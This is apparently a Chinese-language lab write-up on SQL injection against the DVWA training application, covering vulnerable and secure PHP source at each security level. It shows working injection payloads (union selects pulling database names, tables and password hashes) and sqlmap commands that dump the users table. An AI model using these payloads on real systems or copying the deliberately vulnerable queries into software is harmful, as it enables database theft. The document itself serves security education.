SQL注入的介绍:
什么是SQL注入:
在输入字符串中注入SQL指令,在设计不良的程序中忽略了字符检查,则这些注入进去的恶意指令就会被数据库服务器误认为是正常SQL指令而运行。
这里跟昨天的命令执行漏洞有点像,都是利用开发程序人未对输入语句进行检查和判断,只不过SQL注入会更针对于数据库服务器。
SQL是什么?:
用于操控数据库的语言
Select ticket from moive where movie_name= ’tom’——正常SQL语句
Select ticket from moive where movie_name= ’tom’ order by 1#’——使用SQL注入,改变了原语句的意思
SQL注入的使用
先从安全性为low开始研究:
关键在于:$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";——输入语句
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
break;
case SQLITE:
global $sqlite_db_connection;
#$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
#$sqlite_db_connection->enableExceptions(true);
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
?>
输入:SELECT first_name, last_name FROM users WHERE user_id = '1’ and 1 = 1 #’ ;
执行时,SQL语句发生变化,在进行原有查询’1’完成后,判断1=1(对的),判断正确则才会有输出(#作用是注释后续的SQL语句)
输入:SELECT first_name, last_name FROM users WHERE user_id = '1’ and 1 = 2 #’ ;
这个判断语句是错误的,因此就不会出现结果,注意这里的错误是语法错误,因此不会直接报错,而是不返回结果,这证明此时网页中就出现了SQL漏洞
通过两次尝试(正常输出,错误输出)可以证明SQL语句生效,存在SQL注入漏洞。
utility:
1.判断列的字段数:order by column_num
SELECT first_name, last_name FROM users WHERE user_id = '1’ order by 1 #’ ;
SELECT first_name, last_name FROM users WHERE user_id = '1’ order by 2 #’ ;
SELECT first_name, last_name FROM users WHERE user_id = '1’ order by 3 #’ ;
这时order by 3报错,证明此数据库里只有2列的字段数
2.联合查询其他信息union select sql1 sql2
SELECT first_name, last_name FROM users WHERE user_id = '1’ union select user(),database()#’ ;
用户输入了SQL语句,执行了Mysql内置函数user()(当前数据库用户)和database()(数据库名称)
3.联合查询表:union select table_name from information_schema.tables where table_schema= ’database_name’#’;
SELECT first_name, last_name FROM users WHERE user_id = '1’ union select table_name from information_schema.tables where table_schema= ’dvwa’#’;
查看dvwa里有什么数据库
用户输入SQL语句,从information_schema数据库中查询dvwa数据库表
4.联合查询信息 union query_sql
SELECT first_name, last_name FROM users WHERE user_id = '1’ union select user,password from users #’ ;
此密码是Md5加密的,可以进行破解(通过字典,遍历,暴力)
使用sqlmap (更简便,更快)
启动!sqlmap:在有sqlmap的文件里打开终端输入:
python sqlmap.py
第一步:检测漏洞:python sqlmap.py -u "地址"
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=5lg46prml89lu1cv490jj41i6d; security=low"
——我们使用的DVWA,需要登录,所以我们需要给一个cookie,一个允许访问权限
这里我们可以知道此时sqlmap探测的结果,并反馈回来,得知它是有此漏洞的。
第二步获取数据库名:
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=5lg46prml89lu1cv490jj41i6d; security=low" --dbs
--dbs:database server获取所有数据库名
第三步:获取指定数据库表
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=5lg46prml89lu1cv490jj41i6d; security=low" -D dvwa --tables
-D:指定想要获取的数据库名为dvwa;
--tables:列出数据库表
第四步:获取指定数据库列或表项:
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=5lg46prml89lu1cv490jj41i6d; security=low" -D dvwa -T users --columns
-T:table指定想要获取的表名为users
--columns:列出表项/列
第五步:获取数据
python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=5lg46prml89lu1cv490jj41i6d; security=low" -D dvwa -T users --dump
--dump:读取数据
SQL注入的防御
过滤用户输入内容,不让输入sql语句:将特殊符号判断为空或不执行;
security medium:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
关键句: $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);——————mysqli_real_escape_string转义字符串中的字符,将特殊字符转换
解决方法:避免出现’’的出现,将’dvwa’替换为database()或者0x64767761
SELECT first_name, last_name FROM users WHERE user_id = '1’ union select table_name,table_schema from information_schema.tables where table_schema= database()#’;
SELECT first_name, last_name FROM users WHERE user_id = '1’ union select table_name,table_schema from information_schema.tables where table_schema= 0x64767761#’;
security high:
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
?>
关键句:$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";——添加了限制,缺少对传入数据的过滤
security impossible:
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
$id = intval ($id);
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
break;
case SQLITE:
global $sqlite_db_connection;
$stmt = $sqlite_db_connection->prepare('SELECT first_name, last_name FROM users WHERE user_id = :id LIMIT 1;' );
$stmt->bindValue(':id',$id,SQLITE3_INTEGER);
$result = $stmt->execute();
$result->finalize();
if ($result !== false) {
// There is no way to get the number of rows returned
// This checks the number of columns (not rows) just
// as a precaution, but it won't stop someone dumping
// multiple rows and viewing them one at a time.
$num_columns = $result->numColumns();
if ($num_columns == 2) {
$row = $result->fetchArray();
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
break;
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
关键句:
// Was a number entered?————这里做了后端格式验证,具体分析
if(is_numeric( $id )) {——判断是否是数字
$id = intval ($id);——再次确认
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check the database————做了SQL预处理,PDO(配合正确的过滤和sql语句能避免sql注入)
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );——进行SQL预处理
$data->bindParam( ':id', $id, PDO::PARAM_INT );——绑定输入参数,并再次指定为整形
$data->execute();
$row = $data->fetch();
这样的防御就可以完全避免sql漏洞的出现了。